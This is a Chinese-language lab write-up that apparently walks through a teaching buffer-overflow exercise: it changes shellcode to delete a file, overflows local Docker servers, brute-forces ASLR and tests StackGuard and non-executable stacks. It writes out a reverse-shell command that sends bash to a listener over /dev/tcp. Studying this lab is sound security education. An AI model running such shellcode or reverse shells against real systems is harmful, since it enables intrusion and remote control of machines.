# 缓冲区溢出原理

# 环境搭建
首先关闭地址随机化
sudo /sbin/sysctl -w kernel.randomize_va_space=0
 切换到
 切换到 server-code 目录下编译存在缓冲区溢出漏洞的程序,并将二进制文件复制到 bof-containers 文件夹中
cd server-code
make
make install
 回到 Labsetup 目录下,执行以下命令,部署并启动 docker 环境
 回到 Labsetup 目录下,执行以下命令,部署并启动 docker 环境
cd ..
dcbuild
dcup


# Task 1: Get Familiar with the Shellcode
Task 1 需要修改 shellcode,让它执行删除文件的操作shellcode 文件夹中提供了两个 py 文件,运行后分别会输出 32 位和 64 的二进制机器码文件 codefile_32 和 codefile_64 然后运行
 然后运行 Makefile 编译出可执行文件,运行查看结果
 查看 32 位程序的 python 的源代码
 查看 32 位程序的 python 的源代码 假设要删除的文件名为
 假设要删除的文件名为 delete_target ,则删除的命令为 /bin/rm -f delete_target 修改这行代码,并且不能改变 shellcode 的长度,因此填充空格将
 修改这行代码,并且不能改变 shellcode 的长度,因此填充空格将 * 对齐
编译生成新的可执行文件,并创建一个 delete_target ,然后运行 a32.out ,文件成功被删除
# Task 2: Level-1 Attack
新开一个终端界面,切换至 attack-code 目录,向服务端发送信息
echo hello  nc 10.9.0.5 9090
^C
 docker 终端会显示 EBP 和 bof () 函数中 buffer 地址的值
 docker 终端会显示 EBP 和 bof () 函数中 buffer 地址的值 
 10.9.0.5 上运行的程序设置了一个 517 字节的缓冲区,并且使用了 strcpy() 函数,所以如果接收的数据超过 517 字节则会触发缓冲区溢出漏洞 编辑
 编辑 exploit.py ,将上一步 shellcode_32.py 中的 shellcode 复制到对应位置 修改变量
 修改变量 start , ret 和 offset 的值
 运行
 运行 exploit.py 生成 badfile ,然后使用 cat badfile 的方式发送至服务器
./exploit.py
cat badfile  nc 10.9.0.5 9090

 接下来修改 shellcode 在服务器上执行一个反弹 shell,相应的命令为
 接下来修改 shellcode 在服务器上执行一个反弹 shell,相应的命令为
/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
命令中, -i 参数表示启动一个交互式 bash, > /dev/tcp/x.x.x.x/xxxx 表示将输出发送到远程地址 x.x.x.x 的 xxxx 端口 0 , 1 , 2 是特殊的文件描述符,分别表示:
- 0: stdin,标准输入
- 1: stdout,标准输出
- 2: stderr,标准错误输出
0<&1 和 2>&1 就表示将输入和错误输出都重定向到标准输出中 新建一个终端,使用 nc -lnv 9090 监听 9090 端口,然后发送新的 shellcode 至服务端
 反弹 shell 成功连接到 nc 监听的端口
 反弹 shell 成功连接到 nc 监听的端口
# Task 3: Level-2 Attack
连接至另一个服务端 10.9.0.6,同样先输入 echo hello nc 10.9.0.6 9090 然后 ctrl+c 结束
 此时 docker 终端只显示了 buffer 的地址,没有显示 EBP 的值,但已知 buffer 的大小为 [100, 300] 区间内,所以可以将 100 到 308 内的每四字节都替换为返回地址
 此时 docker 终端只显示了 buffer 的地址,没有显示 EBP 的值,但已知 buffer 的大小为 [100, 300] 区间内,所以可以将 100 到 308 内的每四字节都替换为返回地址 ret 重新编译并发送至服务器,可以看到 shellcode 成功执行
 重新编译并发送至服务器,可以看到 shellcode 成功执行

# Task 4: Level-3 Attack
Task 4 的目标机器为 10.9.0.7,首先发送 echo hello 查看服务器输出
 可以看到,10.9.0.7 上运行的是 64 位的程序
 可以看到,10.9.0.7 上运行的是 64 位的程序
根据实验手册中的描述,64 位程序的处理难点在于如何覆盖 64 位返回地址
64 位程序的实际可用地址为 0x0 至 0x00007FFFFFFFFFFF ,前两字节固定为 \x00 ,而 strcpy() 函数在复制时遇到 \x00 则会停止,所以 ret 应使用小端位序,将 \x00 字节放在后面
编辑 exploit.py ,首先复制 shellcode_64.py 中的 64 位 shellcode 修改
 修改 start , ret , offset 和 content

 发送至服务器,shellcode 成功执行
 发送至服务器,shellcode 成功执行

# Task 5: Level-4 Attack
首先发送 echo hello,查看服务器的输出
 对比 task4 的程序,task5 程序的 RBP 值和 buffer 地址之间的间隔变小了
 对比 task4 的程序,task5 程序的 RBP 值和 buffer 地址之间的间隔变小了
修改 exploit.py ,将 ret 的值设为 RBP+n , n 是 [1184, 1424] 之间的值,取 n=1200 (原理暂不清楚)


# Task 6: Experimenting with the Address Randomization
首先打开地址随机化
sudo sysctl -w kernel.randomize_va_space=2
 向 10.9.0.5 服务器发送两次 echo hello 信息,可以看到每次运行时的地址都不一样
 向 10.9.0.5 服务器发送两次 echo hello 信息,可以看到每次运行时的地址都不一样 在 32 位程序中,只有 19 位地址可以被用作地址随机化,这个规模其实并不大,可以通过爆破的方式破解
 在 32 位程序中,只有 19 位地址可以被用作地址随机化,这个规模其实并不大,可以通过爆破的方式破解
利用 Task 2 中的 shellcode 和 attack-code 目录下的 brute-forth.sh 脚本进行攻击 爆破尝试了 32419 次后成功执行了反弹 shell
 爆破尝试了 32419 次后成功执行了反弹 shell
# Task 7: Experimenting with Other Countermeasures
# StackGuard 保护机制
进入 server-code 目录,编辑 Makefile ,去除 -fno-stack-protector 选项,重新编译生成可执行文件 用
 用 badfile 作为 stack-L1 的输入
./stack-L1 < ../attack-code/badfile
 显示检测到了 stack smashing,程序停止运行
 显示检测到了 stack smashing,程序停止运行
# 不可执行栈
进入 shellcode 文件夹,编辑 Makefile ,去除 -z execstack 选项,重新编译生成可执行文件 此时编译出的两个程序都无法正常运行
 此时编译出的两个程序都无法正常运行
